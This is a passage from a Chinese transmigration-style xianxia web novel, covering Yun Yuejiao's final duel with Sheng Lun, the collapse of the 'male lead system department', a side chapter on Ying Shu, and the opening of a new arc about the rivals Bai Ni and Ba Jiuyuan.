夭轻轻领了三千精锐士卒前来,杀了五百,余下两千五降者不杀,收归己部。 结果如此,倒也并非三千精锐士卒实力不济,不过是夭轻轻算漏了人心。 能从下界飞升至天上城的神仙,谁不是经历千百年来的万苦千辛,谁不惜命? 因而在云月娇命蓝星言一上来便火力全开,一转眼的功夫就杀了五百人祭天后,余下的人顿失战意,纷纷归顺投诚。 夭轻轻被蓝星言压到云月娇跟前来时,似仍接受不了现实,眼神没有了焦距,嘴边一直嘟囔着: “明明她魔功已散……怎会如此……” 夭轻轻张嘴闭嘴都是魔功魔功,却不知最初也许是出于魔功。 但到后来,魔功便仅仅是用以混淆视听的障眼法了。 坦白说,其实就连云月娇自己都信不过魔功。 毕竟那洗脑魔功看不见摸不着,哪里会有利益关系来得稳固? 周城城主愿受她驱使,是因为他盯上了埋藏在天上城朔方之下的秘宝。 若是云月娇不肯放手,他至死也别想得到。 疆城旧部愿为她所用,是出于对诸城的宿怨,称霸天上城的夙愿。 他们想要天上城统一,而她能给,于是双方一拍即合。 至于不费一兵一卒收服渊城,不过是云月娇向白千许诺了自治权,以此为代价,她必须在后续的征战中拼死拼活竭尽心力。 羌城主动献身,是为了日后的资源调配。 洌城的那枚城主印则格外不同,城主年年因此暴毙,唯有她云月娇才能拿得住。 至今多达两千三百余次的回溯。 百年筹谋,厚积薄发。 即使最初只因魔功,但事到如今,早已远不只是魔功了。 只可惜夭轻轻从来没有正视过她。 也许直到此时此刻,她云月娇在她的心目中依然是当初那个安静且隐忍的盛伦正宫。 于是当现在她忽然不再沉默、不再忍让,一时无法接受的夭轻轻不由满脸狰狞,仿佛用上了生命中最后的力气狂吼乱叫,要不是蓝星言按住,恐怕早已扑到了云月娇跟前。 “不可能会这样……一定是哪里出了差错,你不是魔功已散……不对!” “你的魔功是不是还在?!你是不是骗我的??!” 夭轻轻癫狂的模样在云月娇的眼里掀不起波澜。 这样的人她见过太多,而无一例外,全不过是死前最后的自欺欺人。 因此云月娇的话看似在回应夭轻轻,实则是说给裴青听的。 “你们千方百计要散掉我的魔功……” “却不知我本来就不打算要它了。” 洗脑魔功,说好是好。 但只要有它在一日,那男主系统部门便能将她钉死在反派的耻辱柱上一日。 魔功一日不散,她便一日不能名正言顺地坐下天帝之位。 何况世异时转,如今的云月娇,远不是当初一失去赖以生存的魔功便被人追杀得闻风而逃的月明枝。 这世上再无人可欺她、辱她。 区区魔功,没了……反倒正好。 云月娇:“所以你们能这么帮我,倒真是多谢你们了。” 听云月娇这么一说,夭轻轻是彻底疯了,每一声喊叫都歇斯底里。 “盛伦对你这么好……你背叛了他,他都甚至都不愿意杀你,你怎么能这么对他!” “盛伦!你出来!!” “你亲自出来看看!你爱的人是一副什么样的丑陋嘴脸!!” 云月娇并不着急望向夭轻轻目光的方向。 只是好像听到了什么特别好笑的事情,连她的眼睛里都浮现出淡淡笑意。 尤其回应夭轻轻的话时,更是带着股不屑的嘲笑。 “爱?” “别说是我,他从来没有爱过任何人。” “直到最后,他爱的人也只有他自己。” 话到此处,云月娇方才终于回首,望向一身纯白战甲、犹如神兵降临的男人,盈盈笑问: “你觉得我说得对吗?” “盛伦。” 他们所有人之间的爱恨情仇、恩怨纠葛。 终于全都可以在今夜结束了。 107 第107章 ◎觉醒女配拒当后宫的第三十二天◎ 裴青走得最错的一步棋,是他不惜将一部分主角运势转移到云月娇身上,也要给她中下情毒,散去她一身魔功,让盛伦清醒。 因为哪怕他不出手,盛伦也会回到从前模样。 因为云月娇需要。 因为她的故事需要。 其实初初得知身处的世界是一本小说的时候,云月娇并没有什么实感。 是后来意要取代盛伦,成为世界的主角,她才把自己从躯壳中抽离出来,以天眼视角去审视,这个世界的天命想要谱写一个什么样的传奇。 如果她是小说的主角,这会是一本什么样的小说。 她云月娇,到底想写成一篇什么样的故事。 若只关乎于男女情爱……跟她过去承受的一切、当下所做的全部相比起来,实在渺小得太微不足道。 若只是复仇雪耻……她又实在觉得盛伦不够格,他们所有人都不配。 所以最后,云月娇得出了结论: “这将会是一个女配觉醒的故事” “也是一个找回自我、开始为自己而活的故事” 她云月娇本只是龙傲天流小说的后宫女配。 明明拥有姓名,却更像无名。 分明生来便是天上城的女仙,然而她的出身、她从生下来那一刻开始遭受的苦难,却全都是为了给盛伦增添嫁妆、送上大礼。 她半生都在言不由衷,挤在没有意义的后宫旋涡中逆来顺受、委曲求全。 半生都在为他人作配,成就他人的意义,为盛伦而活。 可没有昨天,便没有今日。 没有过去,便没有强大到能将命运紧紧地攥在手中的此时此刻。 为了让过去遭遇的苦难所成就的,是她自己。 为了将过去永远留在昨页,盛伦必须要是盛伦。 所以不是对其他任何人,而是只有对从前的那个盛伦说出: “现在我要开始自己的人生了。” 她口中的“现在我要为自己而活了”,才会开始拥有意义。 而就在盛伦出现的这一个当下—— “云月娇,你修炼魔功,迫害苍生,累我失去神智长达数十年之久,替你为虎作伥,你知不知罪?!认不认错?!” ——那个意义,终于要到来了。 …… 当被杀意卷起的枯叶飞向半空又消失在夜色之中,本来还天各一方的两把剑,如同两道闪电硬碰硬地撞在了一起。 金铁交鸣之间火星四溅。 刀光剑影之中杀意吞天。 没有人能插手。 云月娇也容不得旁人插手。 不管她是不是盛伦人生中最大的反派,无论是不是只有战胜了她,他方才能迎来全剧终,只对于她自己而言—— 这是她前半生的最终之战。 不杀死盛伦,她便永远成不了自己世界的主角,永远要受剧本掣肘,永远无法掌控自己的命运。 所以无论如何—— 盛伦都必须、一定、绝对要死。 许是她杀人的决心太过深刻,好像连“至死方休”都不足以形容那份坚定恪守。 明明该要集中注意力与她对招的盛伦,在两剑交接之际,两人距离最近之时,冷不防问了她一句: “娇娇,你很恨我吗?” 盛伦的声音太轻了。 轻到只有云月娇才能听得到。 他的表情也实在是过于平淡,仿佛他方才每一句对云月娇的喊话,都是为了配合最终之战而表演出来的台词。 云月娇被他一句话问得微微有些失神了。 恨吗? 虽说不是所有的恨的对立面都是爱。 但盛伦口中的恨应是由爱而起的。 可前尘影事隔了太久,就连云月娇自己也想不太起来,虽然她与盛伦曾经结为了仙侣,但其实有没有爱过他。 能不能谈得上是爱情,云月娇说不清楚。 但他们之间终归是有亲情友情的情谊在的。 最一开始的时候,盛伦倒也没有这么虚伪讨厌。 他是她双亲的恩人之子,与她自幼一起长大。 小时候的云月娇体弱多病,常常是哪里也去不了,也是哪里都不让去。 每次能出去,好像都是靠逃课的盛伦背她出去偷玩。 而每次不小心被抓包,他也不会像后来那样,凡事都是别人的责任,让别人顶包。 曾几何时,他也曾是一个有担当的小少年。 面对比自己高比自己强的大人,他会挡在她的面前,大声地维护她: “是我强迫娇娇陪我出去玩的!” “这不能怪她!” 也会在她被病魔折磨的时候,“娇娇”“娇娇”地这么叫她,趴在她床边的小脸皱成一团。 用十分真诚地口吻告诉她: “我真希望换我来承受你的病痛。” 其实云月娇也不知道这是不是小说剧情的刻意安排。 可即便真是安排的,全是假的,她当时感受的温度却是真实的。 也许是知道对方将死。 云月娇在这一刻好像念得全是盛伦的好。 若说他后来犯的那些错误,她都已经杀了他两千多次,怎么也该清算得差不多了。 所以当一金一白的两道身影再次碰撞在了一起,云月娇对他那句“娇娇,你很恨我吗?”的回答是: “我已经不恨你了。” 她的一句话好像解开了他最大的心结。 盛伦的脸庞马上浮现出“一下子轻松了”的表情,还对云月娇和悦笑道: “那就好。” “虽然你已经听过我说很多次了……” “但我还是想对你说一声……对不起。” 云月娇颔首接受了他最后的道歉。 并决意按照与他的约定,给予他最后的仁慈。 但就将要动手的那一个瞬间,无数根煞气冲天的乌黑铁锁从那困了云月娇和裴青十日的宫殿地底冲出,如同索命阎王直奔她而来! 云月娇瞥了一眼便懂了。 没有人能杀得死她。 过去的十二任攻略者不行,今日的裴青哪怕拥有分系统的权限,也同样做不到。 为了要让杀不死的人像是死去了一样活着,他早在给她中下情毒之时,便准备到了这一步。 封神阵……镇仙锁…… 封神阵在明。 镇仙锁在暗。 裴青从没有解开过什么封神阵。 一时息阵……不过是为了这一刻的出其不意、一招制敌。 裴青的这计杀手锏来得神不知鬼不觉,他本来应该能成的。 然而就在功成之际,盛伦突然跳了出来,破坏了双重阵法,用往日理所当然的口吻,喊出最义正言辞的话: “这是我与她之间的战斗!” “不允许你擅自插手——!” 裴青果真不愧是裴青。 即使是到这一刻,即便是被他奋力托举的男主亲自毁掉了计划,他的脸上依然没有什么过分惊讶、恼火的表情。 不过是微微张了张嘴,便重新抿起还笑了起来。 那就仿佛在庆幸她云月娇没事,不由地喜形于色。 但那镇仙锁分明是他亲手布下的局。 结果直到这一刻……他依然没有放弃利用她与黑衫佛子的过往,去挽回必定失败的攻略。 云月娇也不由地莞尔而笑。 她的笑与往日都不大相同。 许是因为眉目清淡,她明明笑着,却恍然轻轻一碰那笑容就会散了。 连带着她的声音轻得如过眼云烟,稍纵即逝。 “如今任你做再多、有多像那个人……皆是枉然。” “正如从始至终,你的攻略注定不可能成功。” “你们费尽心思想要找回小说男主,把剧情扳回正轨,殊不知……” “这世上,早就已经再无盛伦了。” 从最一开始…… 他和她便注定是你死我活、生离死绝的结局。 108 第108章 ◎觉醒女配拒当后宫的最后一天◎ 云月娇当初能放任盛伦被裴青抢走,自然是有原因的。 裴青以为她是靠魔功控制盛伦。 殊不知她靠的并不完全只是魔功。 她不过是让盛伦想起了一切。 是的,借助五号攻略世界核心的力量…… 云月娇让盛伦记起了曾经被单方面虐杀的,多达两千余次的一切。 从停止回溯的那一天起,云月娇便与盛伦达成了约定。 他会听从她的安排。 而她则给予他最后的仁慈。 以最后一次的死亡,让他得到救赎和解脱。 时至今日,那个约定…… 终于要实现了。 …… 裴青的功败垂成,换来的是云月娇的势如破竹。 这世间再没有人赢得了她、阻止得了她。 当弦月西沉,这场决战也走到了终末。 盛伦败了。 他用掉了最后一个招式,折断了最后一柄武器,败得再没有一点能够挽救的余地。 便是他好像终于认命了,凄凉地跪在地上仰望天空,四下一片死寂的时候,冷不防响起了第一声: “恭迎天帝——!” 紧接着如同浪潮一般。 以此地为中心,不断向外扩散开去。 无数声“恭迎天帝!”从遥远的彼方传到云月娇的耳畔。 唯一一个没有道出这声“恭迎天帝!”的…… 恐怕也只有裴青一个人。 高呼声中,云月娇抬眸望了过去。 那个人许是也一直在看着她。 因而转首瞬间,他们的视线再一次不起然而然地撞在了一起。 如今尘埃落定,云月娇能感觉得到本属于盛伦的主角运势正一点点地对她产生了正流向,这局势任是大罗金仙也不能救得回来了。 但和过去那些意识到攻略失败便开始发疯的攻略者不同。 裴青一直安静地站在那里,恍然与空气融为了一体。 他静静地看着她,什么也不闻,什么都不问。 云月娇走到他的面前时,也依旧是那副超尘拔俗、世事与我无关的模样。 像极了黑衫佛子。 可他不会真的是他,如今摆出这种姿态,也不过是攻略她的一环。 果然,到了这最后一刻,他终于说出了一直以来都没有说出口的话,从始至终都一直是那个最令人厌恶的攻略者,让人恨不得立刻杀了他让他闭嘴: “娇娇。” “其实你与他根本不必走到这一步。” “我可以让他留下来,甚至让他恢复记忆。” “你们可以永远在一起。” “从今往后再也没有人能分开你们了。” 裴青专挑好听的说,却只字不提一切的前提是她放弃成为主角、放弃毁灭男主系统部门、放弃向命运抗争。 云月娇不禁冷笑一声,毫不留恋地拒绝道: “你好像误会了,我与他并没有这么深刻的感情。” “是吗?” 裴青应声时的嗓音有些低沉,连带着眼睫都垂了下去,配合他微微发苦的笑容,看起来有几分落寞。 “我还以为你很爱他。” 云月娇沉默了。 事到如今再谈爱恨已经毫无意义,她与他之间终究是隔了太多的欺骗、背叛、恩怨。 更何况人这一生…… 不是只会爱上那一个人。 她往后还会有大把的时间和机会,去见识新的世界,去认识新的人。 无论是英殊裴青还是盛伦,他们都会成为过往,被她翻篇。 因为未来,她果断坚强地会继续往前走。 云月娇虽是沉默,可裴青好像从她细微的表情之间窥见了她的心声。 明明他是被放弃的那一个,也不知为何……竟是在这一刻流露出了放松了的神情。 便是用十分轻松的声线,他向她问道: “娇娇,你知道《男主系统部门规则手册》第十条的内容吗?” 第十条守则云月娇依稀从他的意识海中看过。 正皱眉回忆,裴青却直接告诉了她答案: “当处于紧急状态,分系统应做好随时牺牲的准备。” “必要时刻,请同归于尽。” 云月娇的眉心没有松开,还聚得更拢了。 “你这是在威胁我?” 裴青没有回答。 他仍旧只是安静地看着她,无声地笑着。 偏偏他越是这个模样,云月娇心中对他的厌恶便更甚。 导致为了给他找不痛快,她做了一件本没有必要的、最不应该做的多余的事。 从而知道了一个,她一点都不想知道的…… 真相。 【正在为目标“裴青”复原指定记忆。】 【……】 【……】 【由于指定的“第七十次攻略”记忆已经存在,无法被选中,复原记忆失败。】 “……” 日出了。 “刷拉”一声风起,将无数声的“恭迎天帝!!!”的音浪卷到了半空。 以至于云月娇在看清楚视野中荧蓝文字的这一瞬间,耳边安静得什么都没有。 什么都没有。 极静之下耳鸣声开始嘶鸣,云月娇的眼里只有那个背照晨光的攻略者,他始终在凝视她的一往情深的眼眸。 他唇边清浅淡薄的微笑。 云月娇没有问。 她也不能问。 英殊此人工于心计。 他向来不做无用功。 所以她不能问他为什么明明恢复了记忆,却依然假装自己是裴青。 不能问他为什么明明恢复了记忆,却不与她相认。 不能问他后来为什么要做这么多令她厌恶的事、说这么多令她厌烦的话。 为什么要与她十日纠缠。 为什么明明他即将要被她亲手害死,却依然要用这样的眼神……看她。 云月娇什么都不能问。 可偏偏她的一言一行都逃不过他的眼神。 于是他扬了扬眉梢,问她: “怎么了?” “是舍不得我吗?” 云月娇哑然失笑。 她最后没有选择说穿,只是定定地看着他,一字一句地告诉他: “英殊,我不会后悔的。” 于是他也不禁笑了。 他笑得从容洒脱。 一如当年那个连神佛都管不了他的黑衫佛子。 “我也不会后悔。” “毕竟……” “你都不让我后悔了,不是吗?” …… “砰咚” …… 【登场角色“盛伦”确认死亡。】 【4号攻略世界任务确认失败。】 【错误报告】 【4号攻略世界登场角色“云月娇”命运线发生巨大变动。】 【失去对登场角色“云月娇”的控制。】 【警告】 【由于4号攻略世界的核心转移,失去对4号攻略世界的控制。】 【警告】 【正在遭受4号攻略世界核心攻击。】 【警告】 【5号攻略世界对外通道已开启,5号攻略世界正式进入活跃期。】 【正在遭受5号攻略世界核心攻击。】 【警告】 【正在遭受12号攻略世界核心攻击。】 【正在遭受69号攻略世界核心攻击。】 【正在遭受71号攻略世界核心攻击。】 …… …… 【主系统确认遭到毁坏。】 【男主系统部门损毁程度确认已超过98%。】 【系统自救机制已被开启。】 【全新的系统将在9号攻略世界重新生成。】 109 第109章 ◎英殊番外◎ 当年英殊对月明枝自称是她的守护星,倒也算不上是空穴来风。 他没有拜入佛门前的记忆。 据觉能上师所说,那天他“啪”的一声出现在佛祖的坐像前,念了“月明枝”三个字整整三天三夜,直到声嘶力竭,然后又突然“啪”的一声晕倒,再醒过来时,人才终于正常。 “没有记忆” “心心念念的只有那一个人” 这不是天上的守护星来到了凡间,还能是什么? 觉能上师:“有没有一种可能……” 觉能上师:“是你被人白嫖后一时想不开想要皈依佛祖结果在路上遭遇意外受到巨大冲击后失去记忆于是只记得人家姑娘的名字?” 英殊:“没有可能。” 觉能上师:“怎么说?” 英殊:“虽然我没有记忆,但我觉得我应该是……” 觉能上师:“是?” 英殊:“是处男。” 觉能上师默了默。 然后对他竖起了大拇指。 …… 但终究是英殊错了。 直到那一刻—— 【登场角色“月明枝”确认死亡。】 【恭喜你已完成攻略任务。】 ——所有的记忆一瞬回归,他方才意识到自己实在算不上是什么守护星。 黑衫佛子为杀死她而诞生在攻略世界。 因此从严格意义来说—— 他是她的克星。 …… 英殊本是隶属于男主系统部门的攻略者。 由于登场角色“月明枝”觉醒了魔功,以致4号攻略世界演变成了接近无解的副本。 他临危受命,封印自身记忆蛰伏在攻略世界近百年,但求修得抵御魔功的佛法,将剧情扳回正轨。 开启第70次攻略之前的英殊的确算无遗策。 因记忆将被封印,他便先抽出自己的一魄,使得本体初初进入攻略世界之际,人浑浑噩噩,只记得被强制输入的口令“月明枝”。 又真的如他所愿,黑衫佛子非但修成了抵御洗脑魔功的佛法,又被提前种下的因、那一句“月明枝”的口令,出现在了攻略目标的面前。 而那承载了英殊全部记忆的一魄则暗中行事,以心魔之名混淆黑衫佛子视听。 先有接近月明枝暗中为其种下情毒,后又将天命之子引来触发最终之战。 知月明枝在男主手下逃过一劫,便故意当着她的面,对黑衫佛子将事关攻略的一切和盘托出,成为压死月明枝的最后一根稻草。 自此完美地完成了攻略任务。 开启第70次攻略之前的英殊运筹帷幄,后来的所有事情也确实全按他的计划循序发生。 可他之所以没法功成身退,不能将这第70次的攻略轻易地揭过去。 是因为他错漏了两点: 一是错看了月明枝。 二是算漏自己的心。 那月明枝虽是人人诋毁的妖女,却并非真正大奸大恶之人。 人人都想杀她,她迫不得已,意外觉醒不受控的魔功,依然身不由己。 所求所为,不过皆是在讨一条生路。 那黑衫佛子虽说出自名门正派,师承得道高僧,道号却是“无戒”。 他不戒酒肉,不戒钱财,爱上了一介妖女。 他济苍生,度邪祟妖道。 想救无辜世人。 更想救她。 于是过去的英殊越是要杀了月明枝。 日后的黑衫佛子便越是想要救她。 攻略者英殊要当她的杀星克星。 黑衫佛子却一心只想成为她的守护星。 当两者合二为一,胜的终究是那黑衫佛子。 于是他布下了一个比第70次攻略更庞大的局。 向死求生,从自己到主系统再到分系统,横跨两个攻略世界再加男主系统部门。 每一个人每一件事都在他的算计之中。 虽说等的时间是久了一点。 但到底让他等到了与她的重逢。 【欢迎您来到4号攻略世界。】 【祝您攻略成功,攻略者“英殊”。】 …… 其实没有什么好辩解的。 在恢复全部的记忆之前,英殊作为裴青所做的所有事情,他的每一句话、每一个动作,就是为了找回盛伦、将云月娇置于死地。 而他找回所有记忆,是在攻略任务失败的十天前。 那会正是云月娇刚刚离开了他的意识海的时候。 所以他被屏蔽的最后一段、最为核心的第70次攻略的记忆,不是由云月娇,而是由主系统所复原。 那是主系统的最后一搏。 主系统断定云月娇无法被杀死,攻略任务不可能被完成。 因此想借由恢复“黑衫佛子”的记忆打出最后的感情牌,迫使云月娇断绝毁灭男主系统部门的决心。 因为只要男主系统部门一灭,身为分系统的他也必将会死。 主系统想利用黑衫佛子保住自己。 英殊当然不可能让它如愿。 既然云月娇最恨攻略者,那么他便至死都会是攻略者的模样。 所以明明恢复了记忆,他却对云月娇说没有,依旧将裴青的计划进行到底。 表面一套背后一套,她最厌恶什么,他便照做什么。 哪怕是一丁点的不忍心,她云月娇都不应当要有。 就像她说的那样,她应该毫不犹豫送他连带着整个男主系统部门去死。 可中间有些时候……英殊到底还是借着谎言说了许多真话出来。 比如说:“他爱你。” 再比如说: “云月娇,你不能被*任何人任何事留住脚步,哪怕是我。” “请你一定要得到自由。” “事到如今,这是我唯一的心愿了。” 她不听,不认,不信。 但那正是他心中所求所愿。 云月娇没有被任何人任何事留住脚步。 她依靠自己的力量,最终得到了自由。 当主系统宣布他攻略任务失败、即将启动共毁模式的时候,英殊的视野里只有云月娇望过来的那一眼。 破晓曙光洒落在她身上,照得她眸光迷离惺忪。 他恍然瞬间回到了那一年的仲夏盛暑。 天有小雨,雨色微濛。 隔着雨丝柳枝,她倚在亭下,回首时悠悠望来。 “你是什么人?” 他依稀觉得自己应是笑了。 “女施主你好。” “贫僧此番不远万里来到此地,正是为度化你而来的。” 她抡起了拳头,嘴角蔑笑,像是准备暴力超度了他这个不知天高地厚的狂妄僧人。 “行啊!” “那我倒要看看最后是谁度了谁!” 他英殊历经上百次攻略。 过了不止百年千年,早就丢了感情,忘了本心。 他像个精于计算的攻略机器,日夜都在算计利益得失、世道人心。 如今有幸能像个人这么死去…… 终归是他,被她度了。 世界四 110 第110章 ◎正派之首爱上反派宿敌的第一天◎ 白霓有一个喜欢的人。 他叫霸九渊。 是天魔宗的宗主,神兵“凶刀”的主人。 四十年前,他以一套自创的刀法“天魔九式”击败了当时修真界的大魔头,一朝天下闻名。 又在同年创建了天魔宗,坐上了反派宗门第一的宝座,至此以后,半个修真界唯他马首是瞻。 白霓喜欢他已经有五十年了。 但在这五十年间,她从来没有一刻表露过自己的心迹,也从来没有一次,做过有情人终成眷属的美梦。 因为他们之间没有任何、哪怕只是一丁点的可能。 因为霸九渊是世人闻风丧胆的天魔宗主。 而她白霓则是是慈心剑仙、圣剑之主、正派之首。 打一开始—— 他们便是水火不容的死对头。 …… 倘若要问……白霓是怎么喜欢上了自己命中注定的死对头,那得回到五十年前的春天。 五十年前的霸九渊尚不是如今人人喊打的大魔头。 他那会刚刚在修真界出道没两年,还是个满腔忠肝义胆的少年侠客。 师出无门,为实现一身热血抱负而加入了醉月侠阁。 四处除奸佞、杀恶贼,没过多久便在修真界混出了点名堂。 白霓在修真界崭露头角以前,当属他“九霄豪侠”的名声打得最响。 就连她与他的初次见面,都是霸九渊为营救一伙被魔修绑架的凡人少女,独自一人身陷敌营的时候。 那时正逢早春。 春光明媚,燕语莺歌。 霸九渊的刀法正如他这个人,当日他从春树上跳下来,像块巨石一样砸进漆黑的仓库,那狂霸不羁的刀风惊得屋外一连排的黄花风铃木金黄花瓣漫天飞舞。 于是当白霓闻声抬眸—— 看到的便是白昼天光、黄花风铃和他。 五十年前的霸九渊非但道行不够,眼神也不好,竟错把她一个修道之人当成凡尘女子。 见她一动不动,便问:“你怎么不跟她们一块逃?” 他后来的急性子也跟当日是如出一辙。 她还没来得及开口解释自己是以身做饵,深入敌营,同为除掉魔修而来。 他便误以为是她受伤动弹不得,冲她傻笑一下后不由分说地将她背起,还说: “别怕,我带你出去。” “有我九霄豪侠在此,所有坏人见了我都得绕边走!所以你就尽管依靠我九霄豪侠吧!” “……” 白霓喜欢上他,就是发生在这一瞬间。 虽说自己报自己的称号,还报了两次这件事真的很傻,可偏偏他在说那些话的时候如同太阳一样耀眼。 温暖温柔到好像把她从深不见底的寒潭中拉了出来。 不过即便霸九渊没有说那句话。 她喜欢上他,似乎也是命中注定的事情。 因为从最初开始,她便成不了世人口中的深明大义、大慈大悲的圣墟剑仙,不像他们说的“因为靠喝清风露水为生,所以看上去才会那样仙气飘飘、超尘脱俗”。 她白霓非但不喝清风露水。 甚至只吃肉。 并且是大鱼大肉。 而在霸九渊的身上,她可以尽情开荤。 所以那天,就算他把她背起来的动作无比突然,其实后来白霓也有许多机会可以同他解释。 但她没有。 因为霸九渊结实紧扎的肌肉。 因为当她把手按在他宽厚的肩膀,感受到的炙热和充实,当他有动作的时候,在她掌心一弹一弹的烧心触感。 再加上她稍微一偏头便能看到他深邃眼瞳、硬挺眉峰、英气脸庞。 白霓才会保持沉默直到最后,任由他误会下去。 但也是幸好没有解释。 因为那一日与他的初遇。 已是他们彼此之间往后五十年中最美好的一天。 …… 初出茅庐的少年霸九渊把世界想得太美好了。 他以为那醉月侠阁是他可以施展报负、行侠仗义的好地方。 殊不知醉月侠阁以侠命名,却不行侠之事。 它虽说自己是聚集天下侠客的地方,然而上到阁主下至分阁堂主,每一个人的身上都背了不少恶报。 若是有人前来醉月侠阁求助,他们便想方设法榨干钱财、掠取寿元。 若是人间太平,则暗中为非作歹,再亲自出马,以扬侠阁侠风。 白霓第二次遇见霸九渊,便是在他得知真相后要替天除害,追杀醉月侠阁仅剩的最后一个堂主之时。 其实那个堂主死或不死,白霓都无所谓。 可因为是师门任务,所以她要出手相救。 那会霸九渊不是她的对手,被她一剑挑飞后,满脸的难以置信、义愤填膺。 霸九渊:“此人是醉月侠阁的走狗,你为何要救他?!” 当时白霓只是垂眸扫了一眼那堂主贪生怕死的嘴脸,便淡声道: “他成为醉月侠阁堂主尚不足十日,并未做过丧尽天良之事,罪不至死。何况他已心生悔意,并愿意为此赎罪,不必赶尽杀绝。” 霸九渊更生气是理所当然的。 毕竟他的世界一便是一,二便是二,向来直来直去,眼里揉不下一粒沙子。 于是冷笑声后,开始一项一项同她讲理: “丧尽天良之事,不是他并未做过,而是还没来得及做。” “他明知醉月侠阁是个什么样的地方,却依然选择成为分阁堂主,证明他早有祸心。” “如今他悔,是因为我要杀他,所以才悔。” “他要赎罪,被醉月侠阁害死的人成百上千,他怎么胆敢说自己赎得了罪?” “今日放过他,不过是为来日埋下祸患。” “不必多说,我管你是剑仙剑圣,此人——我非杀不可!” 其实当时霸九渊对她说那么多,不过都是在对牛弹琴。 正如白霓无所谓那个堂主死或不死,她也不在意赎罪不赎罪的,那堂主是不是日后真的会继续作恶,害了更多的人。 一切不过是因为师门任务,她才会出手相救。 当日霸九渊要杀的人最后还是被她救走了。 由此便结下了他们之间的第一个梁子。 往后的五十年间,类似的事情上演了一遍又一遍。 她要救的,他偏要杀。 他要杀的,她硬是要救。 她手持“圣剑”,他便寻来“凶刀”。 她白霓出身圣墟,是传世的“圣墟剑仙”。 他霸九渊便成立了天魔宗,成为了人人闻风丧胆的“天魔宗主”。 他们是世人口中不共戴天的宿敌。 前前后后打了五十年,战了数千次,斗了上万个回合。 当人人歌颂她是除恶扬善的慈心剑仙、圣剑之主、正派之首。 落到霸九渊眼中时,她只是他但求老死不相往来的死对头。 所以说,如果换做修真界的其他随便一个人,白霓与他或多或少都有些可能。 唯独只有霸九渊。 他们之间不存在任何可能。 直到—— 《系统生成手册》出现的那一刻为止。 110-120 111 第111章 ◎正派之首爱上反派宿敌的第二天◎ 整整十日,白霓没有再去动那本意外捡到的《系统生成手册》。 因为她不打算用。 尽管她的确在得知那是一本什么样的手册的时候,萌生出过一丝希望。 但等冷静下来之后,她清醒了。 因为不管发生什么,她和霸九渊之间都没有任何可能。 毕竟真的太久了。 不是一日两日,一个月两个月,霸九渊是恨了她整整五十年的时间。 哪怕退一万步来说,他们水火不容的关系真的因那本《系统生成手册》而改变。 到最后的最后,也一定会回归到最初的原点。 因为她是被选中的人。 因为有些事,只有她才能做。 只要她一朝还是圣墟剑仙—— 他们便注定要是不共戴天的死对头。 …… 五十年前的修真界并不像现在这样,正邪两派旗鼓相当。 当时魔修当道,四处生灵涂炭,因此才会有像霸九渊那样心怀侠义的人频频出现。 可一个人的力量终究太微薄。 彼时的修真界需要的不仅仅几个是侠肝义胆的游侠。 若要使正派崛起,则必须要创造出一个能将一盘散沙凝聚起来、能令所有人信服的具有普遍影响力的光辉形象。 白霓就是被选中的那个人。 她背靠的圣墟,是修真界的传统豪强。 又年少成名,是世人公认的稀世奇才。 修道十五载,便传出百年无主的圣剑认她为主。 甫一出现在修真界,同时期所有的新星具被掩盖在她的光芒之下。 她越是活跃,名声越广,圣墟的影响力便越是强大,四分五裂、各自为战的正派便越是能携手统一。 所以四十年前,白霓才会有勇无谋地孤身闯入彼时的反派宗门之首,用七天七夜杀光了他们的六十四魔,一举名震整个修真界,此后天下无人不识。 二十年前,霸九渊突破灵境九阶,成为仙境强者,在天魔宗侠荫山设下大典,全场具是与他交好的朋辈,唯她一人坐在正中,非但一句恭贺的话都说不出口,还喧宾夺主,将喜庆的盛事变成了正派示威的场合。 十年前她以一敌万,只为阻止魔修在城内养蛊。 五年前险些失去一魄,才毁掉了可能会带来巨大灾难的噬魂魔珠。 到了如今,无人可动摇圣墟身为正派之首的地位,方才有了正邪两派平分秋色的局面。 她做了太多太多的事。 得到了无数的敬、爱、怨、恨。 可若是说实话,其实白霓无所谓自己杀了什么人,又救下了什么人。 修真界是覆灭,还是重生。 只是因为那些事情只有她能做得到。 所以哪怕喜欢的人与她相见两厌,她也依旧会是慈心剑仙、圣剑之主、正派之首。 哪怕圣墟门主交代给她的任务是那样不合理,她也从来都只有那一句话—— 圣墟门主:“白霓,今日有新的紧急任务要交予你。” 圣墟门主:“天魔宗的探子来报,霸九渊将于今日肃清掌银司,你速速赶去天魔宗,确保不要让他伤及弱小无辜!” 圣墟门主:“你是我们正派之首、当世霞光,一言一行都代表着圣墟,万不可教世人失望。” 白霓:“是,门主。” …… 其实平心而论,霸九渊肃清掌银司一事不该圣墟、不该她白霓来管。 毕竟那掌银司不仅所属天魔宗麾下,与他们圣墟没有分毫关系,几个月前还害得天魔宗境内的凡人村落爆发了饥荒瘟疫,死了数百号人。 掌银司罪有应得,换了谁都该是肃清整门,杀鸡儆猴。 可是由于近年来圣墟崛起,正派强势。 再加上身为反派之首的霸九渊凶名在外,他的凌厉手段把反派管理得措置有方。 以至于没人敢随意造次,正邪两派持平,修真界太平了很多。 然而没有事端,就没有事迹,白霓就会被渐渐遗忘。 圣墟门主病急乱投医,总是将这种不该管的事全部交给了她。 次数一多,她每次到天魔宗出任务时都是轻车熟路。 此次也是同样,白霓找到掌银司的所在地后,果然见到了正在抄家灭门的霸九渊。 他好像格外喜欢黑红色。 今日天阴。 整座侠荫山唯独霸九渊身上的黑红衣裳和他手中那把泛着血光的凶刀亮得刺眼。 他真的很像凡人说书人口中的大魔头,手持大砍刀,掌银司的那些修士被他抓在手里则像一个个小鸡仔,一砍一个准。 再配上他的怒吼和狂笑,完完全全是个要毁天灭地的魔王,飞扬跋扈,不可一世。 然而就是这么个连恶鬼都害怕的大魔头,却在一次不经意间的回首,在看到她的瞬间…… 萎了。 狂风骤停,万籁俱寂。 痛苦面具直接戴在他的脸上,连声音都带着股咬牙切齿的崩溃。 霸九渊:“……怎么又是你?” 霸九渊:“你可知这掌银司内外勾结,害死了几百凡人。他们罪不容诛,必须以死谢罪,你就不要来管天魔宗的家务事了。” 看到他一个头两个大的样子,任是白霓也不由轻声笑了下。 白霓:“出剑吧。” 白霓:“毕竟是我不请自来,我便让你三招。” 反正他对她都是恨。 是少一点还是多一点…… 都已经没有所谓了。 112 第112章 ◎正派之首爱上反派宿敌的第三天◎ 放眼整个修真界,也只有她白霓能用两句话瞬间拉走了霸九渊的全部仇恨。 他果然很气。 连那就在他手边的掌银司修士他都不砍了,转过身直扑她跟前,快得跟箭一样,嗖一下地射了过来,想把她直接扎死。 霸九渊:“让我……三招……?” 